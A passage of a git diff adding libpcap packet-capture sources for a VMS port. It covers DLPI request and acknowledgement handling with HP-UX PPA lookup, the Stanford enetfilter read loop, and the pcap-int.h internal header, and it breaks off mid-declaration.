0) + return (-1); + return (0); +} + +static int +send_request(int fd, char *ptr, int len, char *what, char *ebuf) +{ + struct strbuf ctl; + int flags; + + ctl.maxlen = 0; + ctl.len = len; + ctl.buf = ptr; + + flags = 0; + if (putmsg(fd, &ctl, (struct strbuf *) NULL, flags) < 0) { + snprintf(ebuf, PCAP_ERRBUF_SIZE, + "send_request: putmsg \"%s\": %s", + what, pcap_strerror(errno)); + return (-1); + } + return (0); +} + +static int +recv_ack(int fd, int size, const char *what, char *bufp, char *ebuf) +{ + union DL_primitives *dlp; + struct strbuf ctl; + int flags; + + ctl.maxlen = MAXDLBUF; + ctl.len = 0; + ctl.buf = bufp; + + flags = 0; + if (getmsg(fd, &ctl, (struct strbuf*)NULL, &flags) < 0) { + snprintf(ebuf, PCAP_ERRBUF_SIZE, "recv_ack: %s getmsg: %s", + what, pcap_strerror(errno)); + return (-1); + } + + dlp = (union DL_primitives *) ctl.buf; + switch (dlp->dl_primitive) { + + case DL_INFO_ACK: + case DL_BIND_ACK: + case DL_OK_ACK: +#ifdef DL_HP_PPA_ACK + case DL_HP_PPA_ACK: +#endif + /* These are OK */ + break; + + case DL_ERROR_ACK: + switch (dlp->error_ack.dl_errno) { + + case DL_SYSERR: + snprintf(ebuf, PCAP_ERRBUF_SIZE, + "recv_ack: %s: UNIX error - %s", + what, pcap_strerror(dlp->error_ack.dl_unix_errno)); + break; + + default: + snprintf(ebuf, PCAP_ERRBUF_SIZE, "recv_ack: %s: %s", + what, dlstrerror(dlp->error_ack.dl_errno)); + break; + } + return (-1); + + default: + snprintf(ebuf, PCAP_ERRBUF_SIZE, + "recv_ack: %s: Unexpected primitive ack %s", + what, dlprim(dlp->dl_primitive)); + return (-1); + } + + if (ctl.len < size) { + snprintf(ebuf, PCAP_ERRBUF_SIZE, + "recv_ack: %s: Ack too small (%d < %d)", + what, ctl.len, size); + return (-1); + } + return (ctl.len); +} + +static char * +dlstrerror(bpf_u_int32 dl_errno) +{ + static char errstring[6+2+8+1]; + + switch (dl_errno) { + + case DL_ACCESS: + return ("Improper permissions for request"); + + case DL_BADADDR: + return ("DLSAP addr in improper format or invalid"); + + case DL_BADCORR: + return ("Seq number not from outstand DL_CONN_IND"); + + case DL_BADDATA: + return ("User data exceeded provider limit"); + + case DL_BADPPA: +#ifdef HAVE_DEV_DLPI + /* + * With a single "/dev/dlpi" device used for all + * DLPI providers, PPAs have nothing to do with + * unit numbers. + */ + return ("Specified PPA was invalid"); +#else + /* + * We have separate devices for separate devices; + * the PPA is just the unit number. + */ + return ("Specified PPA (device unit) was invalid"); +#endif + + case DL_BADPRIM: + return ("Primitive received not known by provider"); + + case DL_BADQOSPARAM: + return ("QOS parameters contained invalid values"); + + case DL_BADQOSTYPE: + return ("QOS structure type is unknown/unsupported"); + + case DL_BADSAP: + return ("Bad LSAP selector"); + + case DL_BADTOKEN: + return ("Token used not an active stream"); + + case DL_BOUND: + return ("Attempted second bind with dl_max_conind"); + + case DL_INITFAILED: + return ("Physical link initialization failed"); + + case DL_NOADDR: + return ("Provider couldn't allocate alternate address"); + + case DL_NOTINIT: + return ("Physical link not initialized"); + + case DL_OUTSTATE: + return ("Primitive issued in improper state"); + + case DL_SYSERR: + return ("UNIX system error occurred"); + + case DL_UNSUPPORTED: + return ("Requested service not supplied by provider"); + + case DL_UNDELIVERABLE: + return ("Previous data unit could not be delivered"); + + case DL_NOTSUPPORTED: + return ("Primitive is known but not supported"); + + case DL_TOOMANY: + return ("Limit exceeded"); + + case DL_NOTENAB: + return ("Promiscuous mode not enabled"); + + case DL_BUSY: + return ("Other streams for PPA in post-attached"); + + case DL_NOAUTO: + return ("Automatic handling XID&TEST not supported"); + + case DL_NOXIDAUTO: + return ("Automatic handling of XID not supported"); + + case DL_NOTESTAUTO: + return ("Automatic handling of TEST not supported"); + + case DL_XIDAUTO: + return ("Automatic handling of XID response"); + + case DL_TESTAUTO: + return ("Automatic handling of TEST response"); + + case DL_PENDING: + return ("Pending outstanding connect indications"); + + default: + sprintf(errstring, "Error %02x", dl_errno); + return (errstring); + } +} + +static char * +dlprim(bpf_u_int32 prim) +{ + static char primbuf[80]; + + switch (prim) { + + case DL_INFO_REQ: + return ("DL_INFO_REQ"); + + case DL_INFO_ACK: + return ("DL_INFO_ACK"); + + case DL_ATTACH_REQ: + return ("DL_ATTACH_REQ"); + + case DL_DETACH_REQ: + return ("DL_DETACH_REQ"); + + case DL_BIND_REQ: + return ("DL_BIND_REQ"); + + case DL_BIND_ACK: + return ("DL_BIND_ACK"); + + case DL_UNBIND_REQ: + return ("DL_UNBIND_REQ"); + + case DL_OK_ACK: + return ("DL_OK_ACK"); + + case DL_ERROR_ACK: + return ("DL_ERROR_ACK"); + + case DL_SUBS_BIND_REQ: + return ("DL_SUBS_BIND_REQ"); + + case DL_SUBS_BIND_ACK: + return ("DL_SUBS_BIND_ACK"); + + case DL_UNITDATA_REQ: + return ("DL_UNITDATA_REQ"); + + case DL_UNITDATA_IND: + return ("DL_UNITDATA_IND"); + + case DL_UDERROR_IND: + return ("DL_UDERROR_IND"); + + case DL_UDQOS_REQ: + return ("DL_UDQOS_REQ"); + + case DL_CONNECT_REQ: + return ("DL_CONNECT_REQ"); + + case DL_CONNECT_IND: + return ("DL_CONNECT_IND"); + + case DL_CONNECT_RES: + return ("DL_CONNECT_RES"); + + case DL_CONNECT_CON: + return ("DL_CONNECT_CON"); + + case DL_TOKEN_REQ: + return ("DL_TOKEN_REQ"); + + case DL_TOKEN_ACK: + return ("DL_TOKEN_ACK"); + + case DL_DISCONNECT_REQ: + return ("DL_DISCONNECT_REQ"); + + case DL_DISCONNECT_IND: + return ("DL_DISCONNECT_IND"); + + case DL_RESET_REQ: + return ("DL_RESET_REQ"); + + case DL_RESET_IND: + return ("DL_RESET_IND"); + + case DL_RESET_RES: + return ("DL_RESET_RES"); + + case DL_RESET_CON: + return ("DL_RESET_CON"); + + default: + (void) sprintf(primbuf, "unknown primitive 0x%x", prim); + return (primbuf); + } +} + +static int +dlattachreq(int fd, bpf_u_int32 ppa, char *ebuf) +{ + dl_attach_req_t req; + + req.dl_primitive = DL_ATTACH_REQ; + req.dl_ppa = ppa; + + return (send_request(fd, (char *)&req, sizeof(req), "attach", ebuf)); +} + +static int +dlbindreq(int fd, bpf_u_int32 sap, char *ebuf) +{ + + dl_bind_req_t req; + + memset((char *)&req, 0, sizeof(req)); + req.dl_primitive = DL_BIND_REQ; +#ifdef DL_HP_RAWDLS + req.dl_max_conind = 1; /* XXX magic number */ + /* 22 is INSAP as per the HP-UX DLPI Programmer's Guide */ + req.dl_sap = 22; + req.dl_service_mode = DL_HP_RAWDLS; +#else + req.dl_sap = sap; +#ifdef DL_CLDLS + req.dl_service_mode = DL_CLDLS; +#endif +#endif + + return (send_request(fd, (char *)&req, sizeof(req), "bind", ebuf)); +} + +static int +dlbindack(int fd, char *bufp, char *ebuf) +{ + + return (recv_ack(fd, DL_BIND_ACK_SIZE, "bind", bufp, ebuf)); +} + +static int +dlpromisconreq(int fd, bpf_u_int32 level, char *ebuf) +{ + dl_promiscon_req_t req; + + req.dl_primitive = DL_PROMISCON_REQ; + req.dl_level = level; + + return (send_request(fd, (char *)&req, sizeof(req), "promiscon", ebuf)); +} + +static int +dlokack(int fd, const char *what, char *bufp, char *ebuf) +{ + + return (recv_ack(fd, DL_OK_ACK_SIZE, what, bufp, ebuf)); +} + + +static int +dlinforeq(int fd, char *ebuf) +{ + dl_info_req_t req; + + req.dl_primitive = DL_INFO_REQ; + + return (send_request(fd, (char *)&req, sizeof(req), "info", ebuf)); +} + +static int +dlinfoack(int fd, char *bufp, char *ebuf) +{ + + return (recv_ack(fd, DL_INFO_ACK_SIZE, "info", bufp, ebuf)); +} + +#ifdef HAVE_SYS_BUFMOD_H +static int +strioctl(int fd, int cmd, int len, char *dp) +{ + struct strioctl str; + int rc; + + str.ic_cmd = cmd; + str.ic_timout = -1; + str.ic_len = len; + str.ic_dp = dp; + rc = ioctl(fd, I_STR, &str); + + if (rc < 0) + return (rc); + else + return (str.ic_len); +} +#endif + +#if defined(HAVE_SOLARIS) && defined(HAVE_SYS_BUFMOD_H) +static char * +get_release(bpf_u_int32 *majorp, bpf_u_int32 *minorp, bpf_u_int32 *microp) +{ + char *cp; + static char buf[32]; + + *majorp = 0; + *minorp = 0; + *microp = 0; + if (sysinfo(SI_RELEASE, buf, sizeof(buf)) < 0) + return ("?"); + cp = buf; + if (!isdigit((unsigned char)*cp)) + return (buf); + *majorp = strtol(cp, &cp, 10); + if (*cp++ != '.') + return (buf); + *minorp = strtol(cp, &cp, 10); + if (*cp++ != '.') + return (buf); + *microp = strtol(cp, &cp, 10); + return (buf); +} +#endif + +#ifdef DL_HP_PPA_ACK_OBS +/* + * Under HP-UX 10 and HP-UX 11, we can ask for the ppa + */ + + +/* + * Determine ppa number that specifies ifname. + * + * If the "dl_hp_ppa_info_t" doesn't have a "dl_module_id_1" member, + * the code that's used here is the old code for HP-UX 10.x. + * + * However, HP-UX 10.20, at least, appears to have such a member + * in its "dl_hp_ppa_info_t" structure, so the new code is used. + * The new code didn't work on an old 10.20 system on which Rick + * Jones of HP tried it, but with later patches installed, it + * worked - it appears that the older system had those members but + * didn't put anything in them, so, if the search by name fails, we + * do the old search. + * + * Rick suggests that making sure your system is "up on the latest + * lancommon/DLPI/driver patches" is probably a good idea; it'd fix + * that problem, as well as allowing libpcap to see packets sent + * from the system on which the libpcap application is being run. + * (On 10.20, in addition to getting the latest patches, you need + * to turn the kernel "lanc_outbound_promisc_flag" flag on with ADB; + * a posting to "comp.sys.hp.hpux" at + * + * http://www.deja.com/[ST_rn=ps]/getdoc.xp?AN=558092266 + * + * says that, to see the machine's outgoing traffic, you'd need to + * apply the right patches to your system, and also set that variable + * with: + +echo 'lanc_outbound_promisc_flag/W1' | /usr/bin/adb -w /stand/vmunix /dev/kmem + + * which could be put in, for example, "/sbin/init.d/lan". + * + * Setting the variable is not necessary on HP-UX 11.x. + */ +static int +get_dlpi_ppa(register int fd, register const char *device, register int unit, + register char *ebuf) +{ + register dl_hp_ppa_ack_t *ap; + register dl_hp_ppa_info_t *ipstart, *ip; + register int i; + char dname[100]; + register u_long majdev; + struct stat statbuf; + dl_hp_ppa_req_t req; + char buf[MAXDLBUF]; + char *ppa_data_buf; + dl_hp_ppa_ack_t *dlp; + struct strbuf ctl; + int flags; + int ppa; + + memset((char *)&req, 0, sizeof(req)); + req.dl_primitive = DL_HP_PPA_REQ; + + memset((char *)buf, 0, sizeof(buf)); + if (send_request(fd, (char *)&req, sizeof(req), "hpppa", ebuf) < 0) + return (-1); + + ctl.maxlen = DL_HP_PPA_ACK_SIZE; + ctl.len = 0; + ctl.buf = (char *)buf; + + flags = 0; + /* + * DLPI may return a big chunk of data for a DL_HP_PPA_REQ. The normal + * recv_ack will fail because it set the maxlen to MAXDLBUF (8192) + * which is NOT big enough for a DL_HP_PPA_REQ. + * + * This causes libpcap applications to fail on a system with HP-APA + * installed. + * + * To figure out how big the returned data is, we first call getmsg + * to get the small head and peek at the head to get the actual data + * length, and then issue another getmsg to get the actual PPA data. + */ + /* get the head first */ + if (getmsg(fd, &ctl, (struct strbuf *)NULL, &flags) < 0) { + snprintf(ebuf, PCAP_ERRBUF_SIZE, + "get_dlpi_ppa: hpppa getmsg: %s", pcap_strerror(errno)); + return (-1); + } + + dlp = (dl_hp_ppa_ack_t *)ctl.buf; + if (dlp->dl_primitive != DL_HP_PPA_ACK) { + snprintf(ebuf, PCAP_ERRBUF_SIZE, + "get_dlpi_ppa: hpppa unexpected primitive ack 0x%x", + (bpf_u_int32)dlp->dl_primitive); + return (-1); + } + + if (ctl.len < DL_HP_PPA_ACK_SIZE) { + snprintf(ebuf, PCAP_ERRBUF_SIZE, + "get_dlpi_ppa: hpppa ack too small (%d < %lu)", + ctl.len, (unsigned long)DL_HP_PPA_ACK_SIZE); + return (-1); + } + + /* allocate buffer */ + if ((ppa_data_buf = (char *)malloc(dlp->dl_length)) == NULL) { + snprintf(ebuf, PCAP_ERRBUF_SIZE, + "get_dlpi_ppa: hpppa malloc: %s", pcap_strerror(errno)); + return (-1); + } + ctl.maxlen = dlp->dl_length; + ctl.len = 0; + ctl.buf = (char *)ppa_data_buf; + /* get the data */ + if (getmsg(fd, &ctl, (struct strbuf *)NULL, &flags) < 0) { + snprintf(ebuf, PCAP_ERRBUF_SIZE, + "get_dlpi_ppa: hpppa getmsg: %s", pcap_strerror(errno)); + free(ppa_data_buf); + return (-1); + } + if (ctl.len < dlp->dl_length) { + snprintf(ebuf, PCAP_ERRBUF_SIZE, + "get_dlpi_ppa: hpppa ack too small (%d < %d)", + ctl.len, dlp->dl_length); + free(ppa_data_buf); + return (-1); + } + + ap = (dl_hp_ppa_ack_t *)buf; + ipstart = (dl_hp_ppa_info_t *)ppa_data_buf; + ip = ipstart; + +#ifdef HAVE_HP_PPA_INFO_T_DL_MODULE_ID_1 + /* + * The "dl_hp_ppa_info_t" structure has a "dl_module_id_1" + * member that should, in theory, contain the part of the + * name for the device that comes before the unit number, + * and should also have a "dl_module_id_2" member that may + * contain an alternate name (e.g., I think Ethernet devices + * have both "lan", for "lanN", and "snap", for "snapN", with + * the former being for Ethernet packets and the latter being + * for 802.3/802.2 packets). + * + * Search for the device that has the specified name and + * instance number. + */ + for (i = 0; i < ap->dl_count; i++) { + if ((strcmp((const char *)ip->dl_module_id_1, device) == 0 || + strcmp((const char *)ip->dl_module_id_2, device) == 0) && + ip->dl_instance_num == unit) + break; + + ip = (dl_hp_ppa_info_t *)((u_char *)ipstart + ip->dl_next_offset); + } +#else + /* + * We don't have that member, so the search is impossible; make it + * look as if the search failed. + */ + i = ap->dl_count; +#endif + + if (i == ap->dl_count) { + /* + * Well, we didn't, or can't, find the device by name. + * + * HP-UX 10.20, whilst it has "dl_module_id_1" and + * "dl_module_id_2" fields in the "dl_hp_ppa_info_t", + * doesn't seem to fill them in unless the system is + * at a reasonably up-to-date patch level. + * + * Older HP-UX 10.x systems might not have those fields + * at all. + * + * Therefore, we'll search for the entry with the major + * device number of a device with the name "/dev/", + * if such a device exists, as the old code did. + */ + snprintf(dname, sizeof(dname), "/dev/%s%d", device, unit); + if (stat(dname, &statbuf) < 0) { + snprintf(ebuf, PCAP_ERRBUF_SIZE, "stat: %s: %s", + dname, pcap_strerror(errno)); + return (-1); + } + majdev = major(statbuf.st_rdev); + + ip = ipstart; + + for (i = 0; i < ap->dl_count; i++) { + if (ip->dl_mjr_num == majdev && + ip->dl_instance_num == unit) + break; + + ip = (dl_hp_ppa_info_t *)((u_char *)ipstart + ip->dl_next_offset); + } + } + if (i == ap->dl_count) { + snprintf(ebuf, PCAP_ERRBUF_SIZE, + "can't find /dev/dlpi PPA for %s%d", device, unit); + return (-1); + } + if (ip->dl_hdw_state == HDW_DEAD) { + snprintf(ebuf, PCAP_ERRBUF_SIZE, + "%s%d: hardware state: DOWN\n", device, unit); + free(ppa_data_buf); + return (-1); + } + ppa = ip->dl_ppa; + free(ppa_data_buf); + return (ppa); +} +#endif + +#ifdef HAVE_HPUX9 +/* + * Under HP-UX 9, there is no good way to determine the ppa. + * So punt and read it from /dev/kmem. + */ +static struct nlist nl[] = { +#define NL_IFNET 0 + { "ifnet" }, + { "" } +}; + +static char path_vmunix[] = "/hp-ux"; + +/* Determine ppa number that specifies ifname */ +static int +get_dlpi_ppa(register int fd, register const char *ifname, register int unit, + register char *ebuf) +{ + register const char *cp; + register int kd; + void *addr; + struct ifnet ifnet; + char if_name[sizeof(ifnet.if_name) + 1]; + + cp = strrchr(ifname, '/'); + if (cp != NULL) + ifname = cp + 1; + if (nlist(path_vmunix, &nl) < 0) { + snprintf(ebuf, PCAP_ERRBUF_SIZE, "nlist %s failed", + path_vmunix); + return (-1); + } + if (nl[NL_IFNET].n_value == 0) { + snprintf(ebuf, PCAP_ERRBUF_SIZE, + "could't find %s kernel symbol", + nl[NL_IFNET].n_name); + return (-1); + } + kd = open("/dev/kmem", O_RDONLY); + if (kd < 0) { + snprintf(ebuf, PCAP_ERRBUF_SIZE, "kmem open: %s", + pcap_strerror(errno)); + return (-1); + } + if (dlpi_kread(kd, nl[NL_IFNET].n_value, + &addr, sizeof(addr), ebuf) < 0) { + close(kd); + return (-1); + } + for (; addr != NULL; addr = ifnet.if_next) { + if (dlpi_kread(kd, (off_t)addr, + &ifnet, sizeof(ifnet), ebuf) < 0 || + dlpi_kread(kd, (off_t)ifnet.if_name, + if_name, sizeof(ifnet.if_name), ebuf) < 0) { + (void)close(kd); + return (-1); + } + if_name[sizeof(ifnet.if_name)] = '\0'; + if (strcmp(if_name, ifname) == 0 && ifnet.if_unit == unit) + return (ifnet.if_index); + } + + snprintf(ebuf, PCAP_ERRBUF_SIZE, "Can't find %s", ifname); + return (-1); +} + +static int +dlpi_kread(register int fd, register off_t addr, + register void *buf, register u_int len, register char *ebuf) +{ + register int cc; + + if (lseek(fd, addr, SEEK_SET) < 0) { + snprintf(ebuf, PCAP_ERRBUF_SIZE, "lseek: %s", + pcap_strerror(errno)); + return (-1); + } + cc = read(fd, buf, len); + if (cc < 0) { + snprintf(ebuf, PCAP_ERRBUF_SIZE, "read: %s", + pcap_strerror(errno)); + return (-1); + } else if (cc != len) { + snprintf(ebuf, PCAP_ERRBUF_SIZE, "short read (%d != %d)", cc, + len); + return (-1); + } + return (cc); +} +#endif diff --git a/Pcap-VMS/pcap-vci/pcap-enet.c b/Pcap-VMS/pcap-vci/pcap-enet.c new file mode 100644 index 00000000..69971c00 --- /dev/null +++ b/Pcap-VMS/pcap-vci/pcap-enet.c @@ -0,0 +1,235 @@ +/* + * Stanford Enetfilter subroutines for tcpdump + * + * Based on the MERIT NNstat etherifrt.c and the Ultrix pcap-pf.c + * subroutines. + * + * Rayan Zachariassen, CA*Net + */ +#ifndef lint +static const char rcsid[] = + "@(#) $Header: /tcpdump/master/libpcap/pcap-enet.c,v 1.6 2002/06/11 17:04:46 itojun Exp $"; +#endif + +#ifdef HAVE_CONFIG_H +#include "config.h" +#endif + +#include +#include +#include +#include +#include + +#include +#include +#include + +#include +#include + +#include +#include + +#include "interface.h" + +struct packet_header { +#ifdef IBMRTPC + struct LengthWords length; + struct tap_header tap; +#endif /* IBMRTPC */ + u_char packet[8] +}; + +extern int errno; + +#define BUFSPACE (4*1024) + +/* Forwards */ +static void efReadError(int, char *); + +void +readloop(int cnt, int if_fd, struct bpf_program *fp, printfunc printit) +{ +#ifdef IBMRTPC + register struct packet_header *ph; + register u_char *bp; + register int inc; +#else /* !IBMRTPC */ + static struct timeval tv = { 0 }; +#endif /* IBMRTPC */ + register int cc, caplen; + register struct bpf_insn *fcode = fp->bf_insns; + union { + struct packet_header hdr; + u_char p[BUFSPACE]; + u_short s; + } buf; + + while (1) { + if ((cc = read(if_fd, (char *)buf.p, sizeof(buf))) < 0) + efReadError(if_fd, "reader"); + +#ifdef IBMRTPC + /* + * Loop through each packet. + */ + bp = buf.p; + while (cc > 0) { + ph = (struct packet_header *)bp; + caplen = ph->tap.th_wirelen > snaplen ? snaplen : ph->tap +.th_wirelen ; + if (bpf_filter(fcode, (char *)ph->packet, + ph->tap.th_wirelen, caplen)) { + if (cnt >= 0 && --cnt < 0) + goto out; + (*printit)((char *)ph->packet, + (struct timeval *)ph->tap.th_timestamp, + ph->tap.th_wirelen, caplen); + } + inc = ph->length.PacketOffset; + cc -= inc; + bp += inc; + } +#else /* !IBMRTPC */ + caplen = cc > snaplen ? snaplen : cc ; + if (bpf_filter(fcode, buf.hdr.packet, cc, caplen)) { + if (cnt >= 0 && --cnt < 0) + goto out; + (*printit)(buf.hdr.packet, &tv, cc, caplen); + } +#endif /* IBMRTPC */ + } + out: + wrapup(if_fd); +} + +/* Call ONLY if read() has returned an error on packet filter */ +static void +efReadError(int fid, char *msg) +{ + if (errno == EINVAL) { /* read MAXINT bytes already! */ + if (lseek(fid, 0, 0) < 0) { + perror("tcpdump: efReadError/lseek"); + exit(-1); + } + else + return; + } + else { + (void) fprintf(stderr, "tcpdump: "); + perror(msg); + exit(-1); + } +} + +void +wrapup(int fd) +{ +#ifdef IBMRTPC + struct enstats es; + + if (ioctl(fd, EIOSTATS, &es) == -1) { + perror("tcpdump: enet ioctl EIOSTATS error"); + exit(-1); + } + + fprintf(stderr, "%d packets queued", es.enStat_Rcnt); + if (es.enStat_Rdrops > 0) + fprintf(stderr, ", %d dropped", es.enStat_Rdrops); + if (es.enStat_Reads > 0) + fprintf(stderr, ", %d tcpdump %s", es.enStat_Reads, + es.enStat_Reads > 1 ? "reads" : "read"); + if (es.enStat_MaxRead > 1) + fprintf(stderr, ", %d packets in largest read", + es.enStat_MaxRead); + putc('\n', stderr); +#endif /* IBMRTPC */ + close(fd); +} + +int +initdevice(char *device, int pflag, int *linktype) +{ + struct eniocb ctl; + struct enfilter filter; + u_int maxwaiting; + int if_fd; + +#ifdef IBMRTPC + GETENETDEVICE(0, O_RDONLY, &if_fd); +#else /* !IBMRTPC */ + if_fd = open("/dev/enet", O_RDONLY, 0); +#endif /* IBMRTPC */ + + if (if_fd == -1) { + perror("tcpdump: enet open error"); + error( +"your system may not be properly configured; see \"man enet(4)\""); + exit(-1); + } + + /* Get operating parameters. */ + + if (ioctl(if_fd, EIOCGETP, (char *)&ctl) == -1) { + perror("tcpdump: enet ioctl EIOCGETP error"); + exit(-1); + } + + /* Set operating parameters. */ + +#ifdef IBMRTPC + ctl.en_rtout = 1 * ctl.en_hz; + ctl.en_tr_etherhead = 1; + ctl.en_tap_network = 1; + ctl.en_multi_packet = 1; + ctl.en_maxlen = BUFSPACE; +#else /* !IBMRTPC */ + ctl.en_rtout = 64; /* randomly picked value for HZ */ +#endif /* IBMRTPC */ + if (ioctl(if_fd, EIOCSETP, &ctl) == -1) { + perror("tcpdump: enet ioctl EIOCSETP error"); + exit(-1); + } + + /* Flush the receive queue, since we've changed + the operating parameters and we otherwise might + receive data without headers. */ + + if (ioctl(if_fd, EIOCFLUSH) == -1) { + perror("tcpdump: enet ioctl EIOCFLUSH error"); + exit(-1); + } + + /* Set the receive queue depth to its maximum. */ + + maxwaiting = ctl.en_maxwaiting; + if (ioctl(if_fd, EIOCSETW, &maxwaiting) == -1) { + perror("tcpdump: enet ioctl EIOCSETW error"); + exit(-1); + } + +#ifdef IBMRTPC + /* Clear statistics. */ + + if (ioctl(if_fd, EIOCLRSTAT, 0) == -1) { + perror("tcpdump: enet ioctl EIOCLRSTAT error"); + exit(-1); + } +#endif /* IBMRTPC */ + + /* Set the filter (accept all packets). */ + + filter.enf_Priority = 3; + filter.enf_FilterLen = 0; + if (ioctl(if_fd, EIOCSETF, &filter) == -1) { + perror("tcpdump: enet ioctl EIOCSETF error"); + exit(-1); + } + /* + * "enetfilter" supports only ethernets. + */ + *linktype = DLT_EN10MB; + + return(if_fd); +} diff --git a/Pcap-VMS/pcap-vci/pcap-int.h b/Pcap-VMS/pcap-vci/pcap-int.h new file mode 100644 index 00000000..9da385b1 --- /dev/null +++ b/Pcap-VMS/pcap-vci/pcap-int.h @@ -0,0 +1,265 @@ +/* + * Copyright (c) 1994, 1995, 1996 + * The Regents of the University of California. All rights reserved. + * + * Redistribution and use in source and binary forms, with or without + * modification, are permitted provided that the following conditions + * are met: + * 1. Redistributions of source code must retain the above copyright + * notice, this list of conditions and the following disclaimer. + * 2. Redistributions in binary form must reproduce the above copyright + * notice, this list of conditions and the following disclaimer in the + * documentation and/or other materials provided with the distribution. + * 3. All advertising materials mentioning features or use of this software + * must display the following acknowledgement: + * This product includes software developed by the Computer Systems + * Engineering Group at Lawrence Berkeley Laboratory. + * 4. Neither the name of the University nor of the Laboratory may be used + * to endorse or promote products derived from this software without + * specific prior written permission. + * + * THIS SOFTWARE IS PROVIDED BY THE REGENTS AND CONTRIBUTORS ``AS IS'' AND + * ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE + * IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE + * ARE DISCLAIMED. IN NO EVENT SHALL THE REGENTS OR CONTRIBUTORS BE LIABLE + * FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL + * DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS + * OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) + * HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT + * LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY + * OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF + * SUCH DAMAGE. + * + * @(#) $Header: /tcpdump/master/libpcap/pcap-int.h,v 1.40 2002/08/20 15:33:31 risso Exp $ (LBL) + */ + +#ifndef pcap_int_h +#define pcap_int_h + +#ifdef __cplusplus +extern "C" { +#endif + +#include + +#ifdef VMS +#include +#endif /* VMS */ + +#ifdef WIN32 +#include +#endif /* WIN32 */ + +/* + * Savefile + */ +struct pcap_sf { + FILE *rfile; + int swapped; + int hdrsize; + int version_major; + int version_minor; + u_char *base; +}; + +struct pcap_md { + struct pcap_stat stat; + /*XXX*/ + int use_bpf; /* using kernel filter */ + u_long TotPkts; /* can't oflow for 79 hrs on ether */ + u_long TotAccepted; /* count accepted by filter */ + u_long TotDrops; /* count of dropped packets */ + long TotMissed; /* missed by i/f during this run */ + long OrigMissed; /* missed by i/f before this run */ +#ifdef linux + int sock_packet; /* using Linux 2.0 compatible interface */ + int timeout; /* timeout specified to pcap_open_live */ + int clear_promisc; /* must clear promiscuous mode when we close */ + int cooked; /* using SOCK_DGRAM rather than SOCK_RAW */ + int lo_ifindex; /* interface index of the loopback device */ + char *device; /* device name */ + struct pcap *next; /* list of open promiscuous sock_packet pcaps */ +#endif +}; + +struct pcap { +#ifdef VMS + char *lan_ctl; + int timeout; + packet lan_pkt; + int check_timeout; + int timedout; + VCMCTX *vcmctx; +#endif // VMS + +#ifdef WIN32 + ADAPTER *adapter; + LPPACKET Packet; + int timeout; + int nonblock; +#else + int fd; +#endif /* WIN32 */ + int snapshot; + int linktype; + int tzoff; /* timezone offset */ + int offset; /* offset for proper alignment */ + + struct pcap_sf sf; + struct pcap_md md; + + /* + * Read buffer. + */ + int bufsize; + u_char *buffer; + u_char *bp; + int cc; + + /* + * Place holder for pcap_next(). + */ + u_char *pkt; + + + /* + * Placeholder for filter code if bpf not in kernel. + */ + struct bpf_program fcode; + + char errbuf[PCAP_ERRBUF_SIZE + 1]; +}; + +/* + * This is a timeval as stored in disk in a dumpfile. + * It has to use the same types everywhere, independent of the actual + * `struct timeval' + */ + +struct pcap_timeval { + bpf_int32 tv_sec; /* seconds */ + bpf_int32 tv_usec; /* microseconds */ +}; + +/* + * How a `pcap_pkthdr' is actually stored in the dumpfile. + * + * Do not change the format of this structure, in any way (this includes + * changes that only affect the length of fields in this structure), + * and do not make the time stamp anything other than seconds and + * microseconds (e.g., seconds and nanoseconds). Instead: + * + * introduce a new structure for the new format; + * + * send mail to "tcpdump-workers@tcpdump.org", requesting a new + * magic number for your new capture file format, and, when + * you get the new magic number, put it in "savefile.c"; + * + * use that magic number for save files with the changed record + * header; + * + * make the code in "savefile.c" capable of reading files with + * the old record header as well as files with the new record header + * (using the magic number to determine the header format). + * + * Then supply the changes to "patches@tcpdump.org", so that future + * versions of libpcap and programs that use it (such as tcpdump) will + * be able to read your new capture file format. + */ + +struct pcap_sf_pkthdr { + struct pcap_timeval ts; /* time stamp */ + bpf_u_int32 caplen; /* length of portion present */ + bpf_u_int32 len; /* length this packet (off wire) */ +}; + +/* + * How a `pcap_pkthdr' is actually stored in dumpfiles written + * by some patched versions of libpcap (e.g. the ones in Red + * Hat Linux 6.1 and 6.2). + * + * Do not change the format of this structure, in any way (this includes + * changes that only affect the length of fields in this structure). + * Instead, introduce a new structure, as per the above. + */ + +struct pcap_sf_patched_pkthdr { + struct pcap_timeval ts; /* time stamp */ + bpf_u_int32 caplen; /* length of portion present */ + bpf_u_int32 len; /* length this packet (off wire) */ + int index; + unsigned short protocol; + unsigned char pkt_type; +}; + +int yylex(void); + +#ifndef min +#define min(a, b) ((a) > (b) ? (b) : (a)) +#endif + +/* XXX should these be in pcap.h? */ +int pcap_offline_read(pcap_t *, int, pcap_handler, u_char *); +int pcap_read(pcap_t *, int cnt, pcap_handler, u_char *); + +#ifdef WIN32 +/* sf_next_packet must be exported for pcap_read_ex */ +int sf_next_packet(pcap_t *, struct pcap_pkthdr *, u_char *, int); +#endif + +/* + * Ultrix, DEC OSF/1^H^H^H^H^H^H^H^H^HDigital UNIX^H^H^H^H^H^H^H^H^H^H^H^H + * Tru64 UNIX, and NetBSD pad to make everything line up on a nice boundary. + */ +#if defined(ultrix) || defined(__osf__) || defined(__NetBSD__) +#define PCAP_FDDIPAD 3 +#endif + +#ifndef HAVE_STRLCPY +#define strlcpy(x, y, z) \ + (strncpy((x), (y), (z)), \ + ((z) <= 0 ? 0 : ((x)[(z) - 1] = '\0')), \ + strlen((y))) +#endif + +/* + * Internal interfaces for "pcap_findalldevs()". + * + * "pcap_platform_finddevs()" is a platform-dependent routine to + * add devices not found by the "standard" mechanisms (SIOCGIFCONF, + * "getifaddrs()", etc.. + * + * "pcap_add_if()" adds an interface to the list of interfaces. + */ +int pcap_platform_finddevs(pcap_if_t **, char *); +int add_addr_to_iflist(pcap_if_t **, char *, u_int, struct sockaddr *, + size_t, struct sockaddr *, size_t, struct sockaddr *, size_t, + struct sockaddr *, size_t, char *); +int pcap_add_if(pcap_if_t **, char 